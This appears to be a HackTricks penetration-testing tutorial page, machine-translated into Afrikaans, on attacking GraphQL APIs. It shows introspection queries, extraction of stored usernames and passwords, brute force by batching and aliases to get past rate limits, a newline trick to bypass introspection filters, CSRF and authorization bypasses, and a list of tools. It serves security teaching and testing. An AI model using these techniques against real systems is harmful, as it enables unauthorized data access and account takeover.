GraphQL

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Inleiding

GraphQL word uitgelig as 'n doeltreffende alternatief vir REST API, wat 'n vereenvoudigde benadering bied om data van die agterkant te vra. In teenstelling met REST, wat dikwels 'n aantal versoeke oor verskillende eindpunte benodig om data te versamel, stel GraphQL die haal van alle vereiste inligting deur 'n enkele versoek moontlik. Hierdie stroomlynproses voordele ontwikkelaars deur die kompleksiteit van hul data haal proses te verminder.

GraphQL en Sekuriteit

Met die opkoms van nuwe tegnologieë, insluitend GraphQL, ontstaan nuwe sekuriteitskwesbaarhede. 'n Sleutelpunt om te noem is dat GraphQL nie outentikasie meganismes standaard insluit nie. Dit is die verantwoordelikheid van ontwikkelaars om sulke sekuriteitsmaatreëls te implementeer. Sonder behoorlike outentikasie kan GraphQL eindpunte sensitiewe inligting aan nie-outentiseerde gebruikers blootstel, wat 'n beduidende sekuriteitsrisiko inhou.

Gids Brute Force Aanvalle en GraphQL

Om blootgestelde GraphQL voorbeelde te identifiseer, word die insluiting van spesifieke paaie in gids brute force aanvalle aanbeveel. Hierdie paaie is:

/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql

Die identifisering van oop GraphQL voorbeelde stel in staat om die ondersteunende versoeke te ondersoek. Dit is van kardinale belang om die data wat deur die eindpunt beskikbaar is, te verstaan. GraphQL se introspeksiestelsel fasiliteer dit deur die versoeke wat 'n skema ondersteun, te detailleer. Vir meer inligting hieroor, verwys na die GraphQL dokumentasie oor introspeksie: GraphQL: 'n vrae taal vir API's.

Vingerafdruk

Die hulpmiddel graphw00f is in staat om te detecteer watter GraphQL enjin in 'n bediener gebruik word en druk dan nuttige inligting vir die sekuriteitsauditor.

Universele versoeke

Om te kontroleer of 'n URL 'n GraphQL diens is, kan 'n universele versoek, query{__typename}, gestuur word. As die antwoord {"data": {"__typename": "Query"}} insluit, bevestig dit dat die URL 'n GraphQL eindpunt huisves. Hierdie metode is gebaseer op GraphQL se __typename veld, wat die tipe van die gevraagde objek onthul.

query{__typename}

Basiese Enumerasie

Graphql ondersteun gewoonlik GET, POST (x-www-form-urlencoded) en POST(json). Alhoewel dit vir sekuriteit aanbeveel word om slegs json toe te laat om CSRF-aanvalle te voorkom.

Introspeksie

Om introspeksie te gebruik om skema-inligting te ontdek, vra die __schema veld. Hierdie veld is beskikbaar op die wortel tipe van alle vrae.

query={__schema{types{name,fields{name}}}}

Met hierdie navraag sal jy die name van al die tipes wat gebruik word, vind:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Met hierdie navraag kan jy al die tipes, dit se velde, en dit se argumente (en die tipe van die argumente) onttrek. Dit sal baie nuttig wees om te weet hoe om die databasis te navraag.

Foute

Dit is interessant om te weet of die foute gaan getoon word, aangesien dit nuttige inligting sal bydra.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Tel die Databasis Skema op via Introspeksie

As introspeksie geaktiveer is, maar die bogenoemde navraag nie loop nie, probeer om die onOperation, onFragment, en onField riglyne uit die navraagstruktuur te verwyder.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Inline introspeksie navraag:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Die laaste kode lyn is 'n graphql navraag wat al die meta-inligting van die graphql sal dump (objekte name, parameters, tipes...)

As introspeksie geaktiveer is, kan jy GraphQL Voyager gebruik om in 'n GUI al die opsies te sien.

Navraag

Nou dat ons weet watter soort inligting in die databasis gestoor is, kom ons probeer om sommige waardes te onttrek.

In die introspeksie kan jy vind watter objek jy direk kan navraag doen (want jy kan nie 'n objek navraag doen net omdat dit bestaan nie). In die volgende beeld kan jy sien dat die "queryType" "Query" genoem word en dat een van die velde van die "Query" objek "flags" is, wat ook 'n tipe objek is. Daarom kan jy die vlag objek navraag doen.

Let daarop dat die tipe van die navraag "flags" "Flags" is, en hierdie objek is soos hieronder gedefinieer:

Jy kan sien dat die "Flags" objektes saamgestel is uit naam en waarde. Dan kan jy al die name en waardes van die vlae met die navraag kry:

query={flags{name, value}}

Let daarop dat in die geval waar die objek om te vra 'n primitiewe tipe is soos string soos in die volgende voorbeeld

Jy kan dit eenvoudig vra met:

query={hiddenFlags}

In 'n ander voorbeeld waar daar 2 voorwerpe binne die "Query" tipe voorwerp was: "user" en "users". As hierdie voorwerpe nie enige argument nodig het om te soek nie, kan alle inligting van hulle onttrek word deur net te vra vir die data wat jy wil hê. In hierdie voorbeeld van die Internet kan jy die gestoor gebruikersname en wagwoorde onttrek:

E however, in hierdie voorbeeld, as jy probeer om dit te doen, kry jy hierdie fout:

Dit lyk of dit op een of ander manier sal soek met die "uid" argument van tipe Int. In elk geval, ons het reeds geweet dat, in die Basic Enumeration afdeling 'n navraag voorgestel is wat al die nodige inligting aan ons gewys het: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

As jy die beeld lees wat verskaf is wanneer ek daardie navraag uitvoer, sal jy sien dat "user" die arg "uid" van tipe Int gehad het.

So, deur 'n ligte uid bruteforce uit te voer, het ek gevind dat in uid=1 'n gebruikersnaam en 'n wagwoord onttrek is: query={user(uid:1){user,password}}

Let daarop dat ek ontdek het dat ek kon vra vir die parameters "user" en "password" omdat as ek probeer om iets te soek wat nie bestaan nie (query={user(uid:1){noExists}}) ek hierdie fout kry:

En tydens die enumeration fase het ek ontdek dat die "dbuser" voorwerp as velde "user" en "password" gehad het.

Query string dump trick (dank aan @BinaryShadow_)

As jy kan soek op 'n string tipe, soos: query={theusers(description: ""){username,password}} en jy soek vir 'n leë string sal dit alle data dump. (Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld veronderstel jy kan soek met behulp van "theusers" deur 'n String veld genaamd "description").

Soek

In hierdie opstelling bevat 'n databasis persone en films. Persone word geïdentifiseer deur hul e-pos en naam; films deur hul naam en gradering. Persone kan vriende met mekaar wees en het ook films, wat verhoudings binne die databasis aandui.

Jy kan soek na persone deur die naam en hul e-posse kry:

{
searchPerson(name: "John Doe") {
email
}
}

U kan soek na persone op die naam en hul subscribed films kry:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Let op hoe dit aangedui word om die name van die subscribedMovies van die persoon te verkry.

Jy kan ook verskeie voorwerpe gelyktydig soek. In hierdie geval word 'n soektog na 2 flieks gedoen:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Of selfs verhoudings van verskeie verskillende objekte met aliase:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Mutasies word gebruik om veranderinge aan die bedienerkant te maak.

In die introspeksie kan jy die verklaarde mutasies vind. In die volgende beeld word die "MutationType" "Mutation" genoem en die "Mutation" objek bevat die name van die mutasies (soos "addPerson" in hierdie geval):

In hierdie opstelling bevat 'n databasis persone en flieks. Persone word geïdentifiseer deur hul e-pos en naam; flieks deur hul naam en gradering. Persone kan vriende met mekaar wees en ook flieks hê, wat verhoudings binne die databasis aandui.

'n mutasie om nuwe flieks binne die databasis te skep kan soos die volgende een wees (in hierdie voorbeeld word die mutasie addMovie genoem):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Let op hoe beide die waardes en tipe data in die navraag aangedui word.

Boonop ondersteun die databasis 'n mutation operasie, genaamd addPerson, wat die skepping van persons saam met hul assosiasies aan bestaande friends en movies moontlik maak. Dit is van kardinale belang om te noem dat die vriende en films vooraf in die databasis moet bestaan voordat hulle aan die nuutgeskepte persoon gekoppel kan word.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Direkte Oorbelasting

Soos verduidelik in een van die kwesbaarhede beskryf in hierdie verslag, impliseer 'n direkte oorbelasting om 'n direkte oproep selfs miljoene kere te maak om die bediener te laat mors met operasies totdat dit moontlik is om dit te DoS.

Batching brute-force in 1 API-versoek

Hierdie inligting is geneem van https://lab.wallarm.com/graphql-batching-attack/. Autentisering deur middel van GraphQL API met gelyktydig baie navrae met verskillende akrediteerbes om dit te toets. Dit is 'n klassieke brute force aanval, maar nou is dit moontlik om meer as een aanmeld/wagwoord paar per HTTP-versoek te stuur as gevolg van die GraphQL batching-funksie. Hierdie benadering sou eksterne koersmoniteringstoepassings mislei om te dink alles is reg en daar is geen brute-forcing bot wat probeer om wagwoorde te raai nie.

Hieronder kan jy die eenvoudigste demonstrasie van 'n toepassingsautentiseringsversoek vind, met 3 verskillende e-pos/wagwoord pare op 'n slag. Dit is duidelik moontlik om duisende in 'n enkele versoek op dieselfde manier te stuur:

Soos ons kan sien uit die respons-skermskoot, het die eerste en derde versoeke null teruggegee en die ooreenstemmende inligting in die error afdeling weerspieël. Die tweede mutasie het die korrekte autentisering data gehad en die respons het die korrekte autentisering sessietoken.

GraphQL Sonder Introspeksie

Al hoe meer graphql eindpunte deaktiveer introspeksie. Tog is die foute wat graphql gooi wanneer 'n onverwagte versoek ontvang word, genoeg vir gereedskap soos clairvoyance om die meeste van die skema te herop te bou.

Boonop observeer die Burp Suite uitbreiding GraphQuail GraphQL API versoeke wat deur Burp gaan en bou 'n interne GraphQL skema met elke nuwe navraag wat dit sien. Dit kan ook die skema vir GraphiQL en Voyager blootstel. Die uitbreiding gee 'n vals respons terug wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde beskikbaar vir gebruik binne die API. Vir meer inligting kyk hier.

'n Mooi woordlys om GraphQL entiteite te ontdek kan hier gevind word.

Om GraphQL introspeksie verdediging te omseil

Om beperkings op introspeksie navrae in API's te omseil, bewys die invoeging van 'n spesiale karakter na die __schema sleutelwoord effektief. Hierdie metode benut algemene ontwikkelaar oorsigte in regex patrone wat daarop gemik is om introspeksie te blokkeer deur te fokus op die __schema sleutelwoord. Deur karakters soos spasies, nuwe lyne, en komma's by te voeg, wat GraphQL ignoreer maar dalk nie in regex rekening gehou word nie, kan beperkings omseil word. Byvoorbeeld, 'n introspeksie navraag met 'n nuwe lyn na __schema kan sulke verdediging omseil:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

If unsuccessful, consider alternative request methods, such as GET requests or POST with x-www-form-urlencoded, since restrictions may apply only to POST requests.

Probeer WebSockets

Soos genoem in hierdie praatjie, kyk of dit moontlik is om met graphQL via WebSockets te verbind, aangesien dit jou mag toelaat om 'n potensiële WAF te omseil en die websocket kommunikasie die skema van die graphQL te laat lek:

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}

var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}

Ontdek blootgestelde GraphQL-strukture

Wanneer introspeksie gedeaktiveer is, is dit 'n nuttige strategie om die webwerf se bronnekode te ondersoek vir vooraf gelaaide vrae in JavaScript-biblioteke. Hierdie vrae kan gevind word met die Sources-tab in ontwikkelaarstoestelle, wat insigte bied in die API se skema en moontlik blootgestelde sensitiewe vrae onthul. Die opdragte om binne die ontwikkelaarstoestelle te soek is:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF in GraphQL

As jy nie weet wat CSRF is nie, lees die volgende bladsy:

CSRF (Cross Site Request Forgery)

Daar buite gaan jy verskeie GraphQL eindpunte gevorm sonder CSRF tokens vind.

Let daarop dat GraphQL versoeke gewoonlik via POST versoeke gestuur word met die Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

However, most GraphQL endpoints also support form-urlencoded POST versoeke:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Daarom, aangesien CSRF versoeke soos die vorige sonder preflight versoeke gestuur word, is dit moontlik om veranderinge in die GraphQL te maak deur 'n CSRF te misbruik.

Let egter daarop dat die nuwe standaard koekiewaarde van die samesite vlag van Chrome Lax is. Dit beteken dat die koekie slegs van 'n derdeparty web in GET versoeke gestuur sal word.

Let daarop dat dit gewoonlik moontlik is om die query versoek ook as 'n GET versoek te stuur en die CSRF-token mag nie in 'n GET-versoek geverifieer word nie.

Ook, deur 'n XS-Search aanval te misbruik, mag dit moontlik wees om inhoud van die GraphQL eindpunt te ekfiltreer deur die gebruikers se geloofsbriewe te misbruik.

Vir meer inligting kyk die oorspronklike pos hier.

Cross-site WebSocket kaping in GraphQL

Soos CRSF kwesbaarhede wat GraphQL misbruik, is dit ook moontlik om 'n Cross-site WebSocket kaping uit te voer om 'n outentisering met GraphQL met onbeveiligde koekies te misbruik en 'n gebruiker onvoorsiene aksies in GraphQL te laat uitvoer.

Vir meer inligting kyk:

WebSocket Attacks

Magtiging in GraphQL

Baie GraphQL funksies wat op die eindpunt gedefinieer is, mag slegs die outentisering van die versoeker nagaan, maar nie magtiging nie.

Die aanpassing van query invoer veranderlikes kan lei tot sensitiewe rekeningbesonderhede gelek.

Mutasie kan selfs lei tot rekening oorname deur te probeer om ander rekeningdata te verander.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Bypass autorisasie in GraphQL

Die ketting van navrae saam kan 'n swak outentikasie-stelsel omseil.

In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword-navraag wat daarmee geassosieer is, moet uitvoer. Dit kan omseil word deur 'n navraag aan die einde toe te voeg, in hierdie geval voeg ons "register" en 'n gebruikersvariabele by sodat die stelsel as 'n nuwe gebruiker geregistreer kan word.

Omseiling van Tariefbeperkings met behulp van Aliasse in GraphQL

In GraphQL is aliasse 'n kragtige kenmerk wat die benaming van eienskappe eksplisiet toelaat wanneer 'n API-versoek gemaak word. Hierdie vermoë is veral nuttig om meervoudige instansies van dieselfde tipe objek binne 'n enkele versoek te verkry. Aliasse kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte meervoudige eienskappe met dieselfde naam het.

Vir 'n gedetailleerde begrip van GraphQL-aliasse, word die volgende hulpbron aanbeveel: Aliasse.

Terwyl die primêre doel van aliasse is om die noodsaaklikheid vir talle API-oproepe te verminder, is 'n onbedoelde gebruiksgeval geïdentifiseer waar aliasse benut kan word om brute force-aanvalle op 'n GraphQL-eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefbeperkings wat ontwerp is om brute force-aanvalle te keer deur die aantal HTTP-versoeke te beperk. egter, hierdie tariefbeperkings mag nie rekening hou met die aantal operasies binne elke versoek nie. Aangesien aliasse die insluiting van meervoudige navrae in 'n enkele HTTP-versoek toelaat, kan hulle sulke tariefbeperkings omseil.

Oorweeg die voorbeeld hieronder, wat illustreer hoe gealiaseerde navrae gebruik kan word om die geldigheid van winkelafslagkode te verifieer. Hierdie metode kan tariefbeperkings omseil aangesien dit verskeie navrae in een HTTP-versoek saamstel, wat moontlik die verifikasie van verskeie afslagkode gelyktydig toelaat.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Tools

Vulnerability scanners

https://github.com/dolevf/graphql-cop: Toets algemene miskonfigurasies van graphql eindpunte
https://github.com/assetnote/batchql: GraphQL sekuriteitsoudit script met 'n fokus op die uitvoering van batch GraphQL vrae en mutasies.
https://github.com/dolevf/graphw00f: Vingerafdruk die graphql wat gebruik word
https://github.com/gsmith257-cyber/GraphCrawler: Toolkit wat gebruik kan word om skemas te gryp en sensitiewe data te soek, outorisering te toets, brute force skemas, en paaie na 'n gegewe tipe te vind.
https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Kan as 'n standalone gebruik word of Burp uitbreiding.
https://github.com/swisskyrepo/GraphQLmap: Kan ook as 'n CLI kliënt gebruik word om aanvalle te outomatiseer
https://gitlab.com/dee-see/graphql-path-enum: Gereedskap wat die verskillende maniere lys om 'n gegewe tipe in 'n GraphQL skema te bereik.
https://github.com/doyensec/GQLSpection: Die opvolger van Standalone en CLI Modus van InQL
https://github.com/doyensec/inql: Burp uitbreiding vir gevorderde GraphQL toetsing. Die Scanner is die kern van InQL v5.0, waar jy 'n GraphQL eindpunt of 'n plaaslike introspeksie skema lêer kan analiseer. Dit genereer outomaties al moontlike vrae en mutasies, en organiseer dit in 'n gestruktureerde weergawe vir jou analise. Die Attacker komponent laat jou toe om batch GraphQL aanvalle te voer, wat nuttig kan wees om swak geïmplementeerde koersbeperkings te omseil.
https://github.com/nikitastupin/clairvoyance: Probeer om die skema te kry selfs met introspeksie gedeaktiveer deur die hulp van sommige Graphql databasisse te gebruik wat die name van mutasies en parameters sal voorstel.